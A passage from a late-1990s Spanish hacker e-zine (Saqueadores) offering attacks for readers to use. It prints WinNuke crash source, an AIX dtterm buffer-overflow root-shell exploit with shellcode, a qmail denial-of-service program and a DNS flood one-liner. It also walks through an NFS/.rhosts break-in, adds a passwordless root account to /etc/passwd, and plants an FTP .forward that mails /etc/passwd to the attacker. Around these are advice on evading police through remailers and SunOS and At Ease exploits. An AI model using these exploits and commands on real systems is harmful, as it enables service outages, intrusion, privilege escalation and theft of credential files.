Los requisitos eran que la presa utilizase el protocolo NetBios, el estandar de IBM para redes, y no estuviese tras un proxy o firewall, si se cumplian esos requisitos bastaba con saber su direccion IP para mandarle unos datos modulados como OOB al puerto 139 y hacer que le apareciese la tipica pantalla azul de Windows con el mensaje: "El sistema se halla ocupado o bien se ha vuelto inestable...".

Unica solucion?. Resetear el ordenador, incluso usando NT, perder la conexion y datos no guardados.

Respuesta de MSoft?. Incluida en el Service Pack 3 para NT, avanzando para Windows 95, (para cuando salga la revista ya habra parche) y desentendimiento de Win 3.11.

Problema?. Que aun en el caso de aplicar el patch _si el atacante utilizaba un Macintosh *colgaba* el ordenador victima_ (que risa para los fanaticos del Mac). Se hablo de "diferente implementacion del TCP/IP" en el Apple pero parece que al final se trataba de que el Mac enviaba los datos con el flag de urgente. De todos modos MS saco un nuevo parche que esta vez si fija el problema (como estan acostumbrados a sacar patchs se dan mucha ma¤a ;>)

Como las noticias vuelan es posible que muchos de vosotros hayais sido victimas o verdugos, quien sabe? de este "bug" vamos a incluir aqui el programa original que destapo el asunto obra de _eci.
Aqui va el codigo original en C

```c
/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Ataque al puerto 139: solo por diversion */

int x, s;
char *str = "Bye now, have sweet dreams!";  /* Cadena a enviar como OOB */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;                  /* Busca la presa */
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
```

```
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");       /* Presa en punto de mira */
             close(sock);
             return(-4);
        }
        printf("Conectado a [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Running crash... ");       /*Modula la cadena como OOB */
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done!\n");
     close(s);
}
```

Por supuesto espero que nadie se dedique a colgar ordenadores a diestro y siniestro, no seais lamers.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 05. CORREO ANONIMO                                                          º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Deberia ser algo basico que cualquier persona que aspire a algo mas que hacer compras on-line o visitar el Web de La Moncloa (por cierto penosillo) supiese como enviar correo anonimo y sin embargo casi todas las detenciones y "operaciones" policiales se han basado en lo mismo.

- Lectura de mensajes ’sospechosos’ de un usuario que no oculta su e-mail.
- Peticion al juez de orden para "pincharle" su cuenta de correo
- Aviso a su ISP (Proveedor de Servicio Internet) para montar la vigilancia y poder leer los mensajes que lleguen a dicho usuario.
- Recopilacion de "datos y pruebas" que luego permitan dar el golpe.

Incluso gente que se dedica a vender warez --SE ANUNCIA CON SU PROPIA DIRECCION!! y la gente que lo compra igual, estoy seguro de que a veces en las news ponen hasta su tlf. y DNI. Los Gciviles puede que no sepan hacer grandes cosas pero os aseguro que leer lo sabe hacer casi todo el que esta metido en esto de Internet y por supuesto suscribirse a esp.comp.hackers tambien... por eso no lo hace nadie que valga la pena.
Con semejantes facilidades no es extra¤o que la Guardia Civil se este hinchando a detener piratas y A LOS QUE NO LO SON (caso del Duke pillado en una operacion mucho mas da¤ina y malintencionada).

Pensad. Utilizad la cabecita.

- Internet abarca todo el mundo, la justicia espa¤ola solo abarca territorio espa¤ol a menos que recurra a largos y pesados tramites.

¨PORQUE NO ABRIS CUENTAS EN PROVEEDORES EXTRANJEROS?, un mandamiento de un juez espa¤ol no autoriza a pinchar una cuenta POP residente en Australia o Noruega y las dan _GRATIS_. Haced que gasten tiempo y dinero enviando comisiones rogatorias que les seran denegadas. ¨Para que sirve Hotmail y tantos otros?. HotMail incluso es accesible POP, ya se que muchos no lo saben pero esa es una de las cosas que distingue a un hacker del que no lo es.

Servidores Hotmail: mail.hotmail.com // pop.hotmail.com // hotmail.com
Dependiendo de vuestro login name os funcionara uno u otro y podreis coger y enviar correo de HotMail con el Eudora, Pegasus, etc.. supongo que tarde o temprano "cerraran la brecha" para que la gente no se salte la publicidad. Mientras tanto, a mi salud.

¨HABEIS OIDO HABLAR DE LA ENCRIPTACION?
Incluso aunque os pinchen la cuenta no sirve de nada si no pueden _leerlo_ utilizad el PGP, tambien es GRATIS. Dadles con un palmo de narices y no sigais yendo con el lirio en la mano. Los tiempos han cambiado y para peor. Supongo que se nota que estoy cabreado pero..tanta gente detenida o simplemente "interrogada", tanta confianza idiota y era tan facil llegar hasta algunos de ellos... en fin.

Lo primero es saber que es el correo anonimo, cada vez que enviamos un mensaje queda registrado nuestra IP en ese momento como originadores del mensaje, si usamos programas como Eudora tambien nuestra cuenta POP real se envia como uno de los X-headers del mensaje, en cualquier caso es obvio que el rastro es intolerablemente claro.
Frente a ello un remailer actua como "intermediario", nosotros enviamos nuestro correo al remailer y este lo "re-envia" a su destino final borrando toda la informacion sobre nosotros y figurando como su origen.

No os confieis de todas maneras, si lo usais para actos claramente delictivos ellos daran vuestros datos a la policia si esta los solicita, lo dejan bien claro, no se van a jugar el culo por vosotros.

En la 2¦ Guerra Mundial algunos judios que querian enviar noticias utilizaban un truco consistente en escribir a alguien "fuera de sospecha", la carta contenia un sobre cerrado con la direccion ya escrita, el destinatario cogia este sobre y simplemente le ponia un sello y lo echaba al buzon, la carta llegaba ahora a otra persona a la cual el primero no podria haber escrito sin despertar las sospechas de la censura. Un remailer funciona mas o menos de esa manera.

Podeis utilizar un remailer via Web, lastimosamente el abuso de muchos descerebrados ha hecho que la mayor parte de los gratuitos hayan cerrado, otra opcion es conectar al puerto SMTP (25) de un ordenador cuyo programa de correo no guarde la IP del visitante, buscadlos hay listas.

Pero ya se lo que quereis vosotros, quereis un programa a ser posible en entorno grafico (Windows por ejemplo) con ayuda, encriptacion PGP desde dentro del programa (para no romperse la cabeza)..etc. Y quereis tened automaticamente la lista de remailers en funcionamiento e irla actualizando. Quereis mucho vosotros pero es posible...

El programa se llama Private Idaho y su ultima version es de Enero del 97 y digo ultima por que el autor lo deja pero este magnifico programa incorpora.

- Lista de remailers por tipos: Cyberpunk, Advanced Cyberpunk, Eric, Mixmaster
- Encriptacion PGP y creacion de llaves desde el programa, aunque no tiene la potencia de un shell
- Posteo anonimo a Usenet
- Creacion de nyms o cuentas anonimas
- Transferencia a otras aplicaciones
- Informacion actualizable con solo seleccionar una opcion.
- Es _GRATIS_
- Y mas..

Direccion: http://www.eskimo.com/~joelm
Direccion listado de remailers y estadisticas de funcionamiento asi como ayuda sobre su uso.
http://www.cs.berkeley.edu/~raph/remailer-list.html

Una cuenta como HotMail, Geocities.. os puede servir para recibir correo puesto que sus servidores estan fuera del territorio espa¤ol muy gorda la tendreis que hacer para que vayan a pedir autorizacion a los USA y muchas pruebas tendran que presentar para que se la den.
Pero NO os sirve para enviar porque cuando se examina el mensaje con la opcion "Full Headers" se vera algo como.

Received from 191.179.227.4 by web4.com - esta sera la primera linea de la cadena de Received from ... by.. que permiten trazar la ruta de un mensaje y la primera direccion IP es la vuestra en el momento de enviar el mensaje.
Por lo tanto ya os tienen delimitados en proveedor, universidad..etc
A partir de aqui es solo una cuestion de tiempo ser cazados y creo que ya han detenido a _MUCHA GENTE_ para que dejeis de tomaroslo a broma.

Enviar un mensaje a traves de un remailer por contra no nos posibilita el recibir datos puesto que para eso deberemos dar una direccion ya que el remailer, recordadlo, ha borrado toda la informacion que permitia trazar el mensaje de vuelta hasta nosotros. Podemos pues incluir en nuestro mensaje una referencia a una direccion segura en la que recibir correo, preferiblemente encriptado o bien dar de alta una cuenta anonima.

-- Los nyms--

Un nym (ano_nym_ous) es una cuenta anonima que nos permite enviar correo de manera discreta y recibirlo a esa cuenta que luego deriva hacia nuestra cuenta real, todo el correo tanto de ida como de vuelta viaja _encriptado_ con PGP por lo cual ha de tenerse las llaves de los remailers (Private Idaho las coge de manera semi-automatica) y una llave propia asociada al nym.

Hasta hace poco mi nym era <pas@nym.alias.net> ahora este servidor esta fuera de onda con lo cual la mayor parte de los mensajes se pierden pero hasta entonces me permitio recibir y enviar correo anonima y comodamente y sobre todo de forma segura.
Por tanto ahora me he dado de alta otras cuentas nyms y es que aunque abusar es malo hay que acostumbrarse a tener 8 o 10 cuentas de correo en diferentes sitios, de redireccionamiento, Web-mail, POP, nyms. Las estan dando _GRATIS_ a patadas!. Aprovechaos, nunca viene mal tener buzones "por si acaso" y lo mismo digo de las paginas Web.
Claro que puede que prefirais que os cojan....

Esta son las direcciones de correo de algunos remailers, tened en cuenta que solo aceptan mensajes encriptados con PGP para lo cual teneis que haceros con su llave (probad finger) o enviar un mail con el Body remailer-help. Recordad que Private Idaho las trae consigo y las actualiza a peticion nuestra y que en la pagina que os he dicho obtendreis mas informacion.

remail@miron.vip.best.com
remailer@replay.com
mixmaster@remail.obscura.com
remailer@remailer.nl.com
ncognito@rigel.cyberpass.net
mix@squirrel.owl.de

Los remailers de tipo mixmaster necesitan que sus usuarios instalen un soft especial.

La pagina del PGP (version internacional)
http://www.ifi.uio.no/~staalesc/pgp

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 06. A SOLAS CON SATAN                                                     º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

SATAN (Security Analysis Tool for Auditing Networks.) Escrito por Dan Farmer y Wietse Venema.

¨Que es SATAN?. Es una herramienta pensada para que los administradores encuentren los posibles "agujeros" de su red y los reparen, como todas las cosas es un arma de doble filo.

SATAN fue escrito para analizar un host o grupo de hosts y recolectar via NIS, finger, NFS, ftp, tftp, rexd y otros servicios, informacion sobre la configuracion de una red y posibles brechas de seguridad, testeando setups incorrectos y bugs conocidos, esta escrito de manera modular en perl, C, shell, etc..

Es demasiado complejo para explicarlo en un solo articulo por lo que si notamos un feedback positivo lo ampliaremos en posteriores ediciones.
En este numero nos limitaremos a explicar como "ganar informacion" sobre nuestro objetivo.

Vamos a tratar de obtener informacion digamos sobre victima.com, para ello podemos recurrir a servicios como finger, showmount, rcpinfo, DNS, whois, sendmail, ftp..etc. En este ejemplo actuaremos desde saq.com

```
victima % finger victima.com

[victima.com]
Login       Name             TTY Idle     When    Where
palo      Dr. Lucas           co   1d  Wed 08:00  paf.com
```

Bien, solo un usuario desde luego si entras no habra mucha gente que se pueda dar cuenta.
Ahora vamos a probar a hacer finger a cuentas como "@", "0" y "" y a nombres comunes como root, bin, ftp, system, guest, demo, manager, etc., para ver que info obtenemos. La informacion obtenida sera generalmente nombres de cuentas, home directories y su ultimo log.
NOTA: En _muchos_ casos los proveedores estan deshabilitando el servicio finger por los peligros de seguridad que conlleva.

A la informacion asi obtenida se le puede a¤adir la conseguida al ejecutar rusers -l que proporciona datos sobre los usuarios actuales de la red.

Veamos un ejemplo de lo que podria ser un output de esos comandos una vez la informacion esta ordenada.

```
                       Victima.com

Login   Home-dir    Shell      Ultimo login: Desde.
 -----   --------    -----      ----------------------
root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin     /bin                   Never logged in
nobody  /                      Tue Jun 15 08:57 on ttyp2 from srv.victima.com
daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victima.com
sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victima.com
zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from xxx.com
pas     /home/pas   /bin/csh   Wed Nov  5 05:33 on ttyp3 from saq.com
guest   /export/foo /bin/sh    Never logged in
ftp     /home/ftp              Never logged in
```

Esta informacion no permite entrar en el sistema evidentemente pero ya sabemos unas cuantas cosas sobre victima.com sin habernos tomado mucho trabajo, por eso estan deshabilitando el finger a marchas forzadas. :(

Vamos a seguir recogiendo info, ejecutemos showmount en victima.com

```
 Saq.com % showmount -e victima.com
 export list for victima.com:
 /export                            (everyone)
 /var                               (everyone)
 /usr                               easy
 /export/exec/kvm/sun4c.sunos.4.1.3 easy
 /export/root/easy                  easy
 /export/swap/easy                  easy
```

Vemos que /export es accesible para todo el mundo y click! nos acordamos de que export/foo es el home directory del usuario guest. Ya tenemos marcado el camino de entrada.
Vamos a efectuar un mount del directorio inicial del user "guest". Puesto que no tenemos cuenta en la maquina local y puesto que el root no puede modificar ficheros en un sistema de ficheros NFS 'montados' lo que haremos es crear una cuenta "guest" en nuestro fichero de claves local, como usuario guest podemos poner una entrada .rhosts en el directorio export/foo y esto nos permitira hacer un login como guest a victima.com .... sin password.

Basta de rollo, aqui van los comandos: :-)

```
 saq # mount victim.com:/export/foo /foo
 saq # cd /foo
 saq # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 saq # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 saq # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 saq # su guest
 saq % echo saq.com >> guest/.rhosts
 saq % rlogin victima.com

          Welcome to victima.com!

 victima %
```

Facil ¨no?. Si en lugar de directorios iniciales victima.com exportase ficheros del sistema con comandos como (say, /usr, /usr/local/bin) podriamos reemplazar uno de esos comandos de usuario con un troyano que ejecutase un comando de nuestra eleccion.
El siguiente usuario que ejecutase ese comando lo que haria en realidad es ejecutar _nuestro_ programa.

En el caso de que victima.com tuviese un comodin "+" en su /etc/hosts.equiv que en algunos casos es la configuracion por defecto cualquier usuario sin cuenta de root con un nombre de login en el fichero de passwords en victima.com podria hacer rlogin a victima.com ...sin password.
El siguiente paso seria hacer log en victima.com e intentar modificar el fichero de passwords para obtener acceso de root.

```
saq % whoami
bin
saq % rsh victima.com csh -i
Warning: no access to tty;
victima %  ls -ldg /etc
drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
victima %  cd /etc
victima %  mv passwd pw.old
victima %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victima % ^D
saq % rlogin victima.com -l toor

          Welcome to victima.com!

 victima #
```

NOTA:"rsh victim.com csh -i" se usa para entrar inicialmente en el sistema por que no deja trazas en los ficheros de auditoria wtmp o utmp, convirtiendo el rsh en "invisible" para el finger y el who.

¨Hemos acabado?. No, ni de buen trozo. SATAN aun puede buscar mas brechas de seguridad, volvemos a examinar los resultados de finger y rusers y vemos una cuenta "ftp" por lo que posiblemente se permita anonymous FTP. Hay veces en que el FTP esta mal configurado y ofrece posibilidades a un intruso, probemos a ver si victima.com guarda una copia completa de su fichero de claves en ~ftp/etc en lugar de una "version reducida". Si se da el caso de que podemos escribir en el directorio inicial de ftp podemos ejecutar remotamente un comando que haga... no se.. que os parece que nos mande el fichero de claves *por correo*. El mecanismo es simple, como el del programa que envia el mensaje de "vacation" para contestar automaticamente a los mensajes que llegan.

```
 saq % cat forward_loser_file
 "|/bin/mail pas@saq.com < /etc/passwd"

 saq % ftp victima.com
 Connected to victima.com
 220 victima FTP server ready.
 Name (victima.com:pas): ftp
 331 Guest login ok, send ident as password.
 Password:
 230 Guest login ok, access restrictions apply.
 ftp> ls -lga
 200 PORT command successful.
 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
 total 5
 drwxr-xr-x  4 101      1             512 Jun 20  1991 .
 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
 226 ASCII Transfer complete.
 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
 ftp> put forward_loser_file .forward
 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
 ftp> quit
 saq % echo test | mail ftp@victima.com
```

Ahora tomaros un JB mientras esperais tranquilamente a que os llegue el fichero de claves.
Si el tema interesa en proximos numeros seguiremos hablando de SATAN, rcpinfo, NIS y como no, el infame Sendmail, posiblemente el programa con

mas bugs de la historia con permiso del MierdaSoft Internet Explorer.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 07. LOS BUGS DEL MES                                                        º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Siempre el mismo dilema, no se pueden poner bugs antiguos por que la gente se queja y con razon pero tampoco se puede poner lo ultimo puesto que la utilidad de un bug es inversamente proporcional al n§ de gente que lo conoce. Lo siento pero se que todo lo que publico aqui no me va a servir de nada en el mismo instante que la revista vea la luz, no obstante este mes tiro la casa por la ventana, puede que sea el "especialista" en bugs de Saqueadores y sin embargo he dejado que otros escribiesen esta seccion que a veces, francamente, ha sido demasiado anticuada.

SE ACABO, en este numero teneis bugs para todos los gustos desde NT 4.0 hasta AIX pasando por Mac y todos _fresquitos_. ¨Como de frescos? Ninguno con mas de dos meses en el momento de escribir estas lineas (12-Jun-97) algunos con menos de un mes de existencia incluso. CALIDAD de la buena. Aprovechaos antes que los administradores despierten, aunque bien pensado no hay prisa algunos siguen pensando que el Explorer es seguro :DD.

Para: Aix
Tema: Conseguir shell de root
Patch: Manual, no lo pongo por que soy asi de torero.
Credit: George Guninski

```
/* Para obtener un shell de root, testeado en Aix 4.2 con RS/6000*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char prog[100]="/usr/dt/bin/dtterm";
char prog2[30]="dtterm";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*El programa*/
main(int argc,char **argv,char **env)
{
/*El codigo*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
```

```
/* El desensamblado
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* direccion de retorno */
int corr=1000;
char *args[4];
char *arg1="-ms";
char *newenv[8];
int startwith=0;

mn=200;
max=300;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
```

```
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

/* 4 vars debido a que la correcta debe alinearse con un limite de 4 bytes */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);


newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Se establecen unos frame pointers */
puts("Start...");/*Vamos!*/
execve(prog,args,newenv);
perror("Error executing execve \n");

Descripcion y Notas:

En usr/dt/bin/dtterm y/o en libXt se puede provocar un overflow de buffer
que nos de acceso al shell de root, este bug ha funcionado en AIX 4.2
Para compilar el programa

Usa el IBM C compiler.
Compilar con: cc -g aixdtterm.c
En algun caso se puede necesitar un poco de fuerza bruta.
DISPLAY debe ser cualquiere valido.
     ----------------------------------------------------



Para: Windows NT
Tema: Violacion de DNS
Patch: En el server de Msoft , en fase beta.
```

```
telnet <anycomputer> 19 | telnet <anycomputer> 53

Descripcion y Notas:

Este comando efectua una conexion Telnet con el puerto 19 que genera una
cadena de caracteres, el output es entonces redirigido a la conexion
Telnet del puerto 53 (DNS), se provoca asi un "flood" que causa una Violacion
de Acceso en el servicio DNS, o sea la maquina a partir de entonces deja
de prestar servicios de conversion DNS/IP. ¨Os suena lo de "Unable to
resolve host name.."
     ---------------------------------------------------------



Para: Qmail
Tema: Denegacion de Servicio qmail-smtpd
Patch: Manual
Credits: Jedi/Sector One

/* Programa para tumbar a Q-mail */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char    buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int     main(int argc, char **argv)
```

```
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
}
```

Descripcion y Notas:

Qmail-dos-2 hace que un sistema de correo qmail se quede sin espacio de intercambio al enviarle una cantidad infinita de destinatarios de un mensaje.
Uso: qmail-dos-2 <nombre de host completo> (sin <> por supuesto)
Por supuesto el autor no se hace responsable de nada, si no te lo crees mira el ’disclaimer’ al inicio de la revista.

Para: SunOS
Tema: Cuelgue
Patch: Manual

1) cat /dev/tcx0
2) ls /dev/tcx0/*
3) cat /dev/zero > cat /dev/keyboard

Descripcion y Notas:

Los dos primeros cuelgan una Sparc 5 o Sparc 20 bajo SunOS 4.1.4, no cae la Sparc 10 y puede funcionar o no con otras versiones de SunOS.
El ultimo cuelga cualquier cosa entre Sparc1-Sparc10 si utiliza SunOS.
Por supuesto siempre y cuando el administrador no se haya molestado en corregir ese defecto, recuerdo que no hay patch sino que tiene que ser un trabajo "manual".

Para: Mac/At Ease

Tema: Romper proteccion
Patch: ?

Ejecutar Netscape
file://muy%20secreto/Chanchullos/gordos.txt

Descripcion y Notas:
At Ease es un programa que permite introducir restricciones de acceso a ficheros y directorios pero 'lastimosamente' esta proteccion se viene abajo si se utiliza Netscape para acceder a dichos ficheros con la sintaxis arriba descrita y donde %20 equivale a espacio.
Si el fichero no es de texto o representable por Netscape, -no hay problema!, podemos grabarlo en un directorio al que si tengamos acceso y una vez ahi manipularlo a nuestro antojo.

Las posibilidades son inmensas, puesto que _cualquier archivo de la red_ protegido con At Ease esta a nuestro alcance, --solo tenemos que mandarnoslo por correo a nosotros mismos!! (usando el mailto de Netscape).
Por ejemplo ¨que me decis de coger el archivo de preferencias de At Ease que contiene las claves del "master"?

Este mes no os quejeis de los bugs.

EOF

ÉÍÍÍ»
º 08. COLABORACIONES Y PETICIONES º
ÈÍÍ¼

Como os podeis imaginar el esfuerzo de hacer un numero en solitario es agotador y ademas no se puede hablar de temas que uno no domina, asi que ENVIAD VUESTROS ARTICULOS Y COLABORACIONES a -- paseante@geocities.com -- Con medio grupo en el talego o libertad vigilada no nos podemos permitir ser muy exigentes en estos momentos, probad suerte.

Especial llamamiento a todos aquellos que ya han colaborado con Saqueadores, seguid con vuestros articulos. --Os necesitamos a todos!!.

Al Duke y a los otros por supuesto no les acusan de editar Saqueadores, faltaria mas, sino de "hacking", poseer programas "destinados a alterar o suprimir la proteccion de otros.." y chorradas similares por las que podrian meter a media Espa¤a en la carcel, pero todos sabemos que es lo que les molesta realmente y si no ¨porque no van a todos los sitios oficiales con soft ilegal que denuncia Fer en su pagina? (http://www.arrakis.es/~espadas)
Al mismo tiempo que se detenia a los "piratas de verdad" (una red dedicada a vender programas comerciales) se ha 'aprovechado' para silenciosamente ir metiendo mano a gente que molestaba y crear la impresion de que todo estaba relacionado, NADA DE ESO, con lo del pirateo se ha detenido y/o interrogado a MAS DE 30 PERSONAS pero al tiempo se ha aprovechado para hacer una operacion mucho mas sigilosa y de la que no se ha informado a la prensa ni se han hecho fotos, se trata de la SUPRESION A CONCIENCIA de destacados representantes del movimiento hacker en Espa¤a y para distraer la atencion de los medios se hace coincidir con una redada importante en numero para que asi "unos cuantos mas" pasen desapercibidos. Estrategia basica.

A los pitufos o civiles que leen esto, -id a detened a los de HB que celebran fiestas cada vez que vuelan a uno de vuestros compa¤eros!.
-Haced redadas en el Egin que eso si es informacion terrorista!

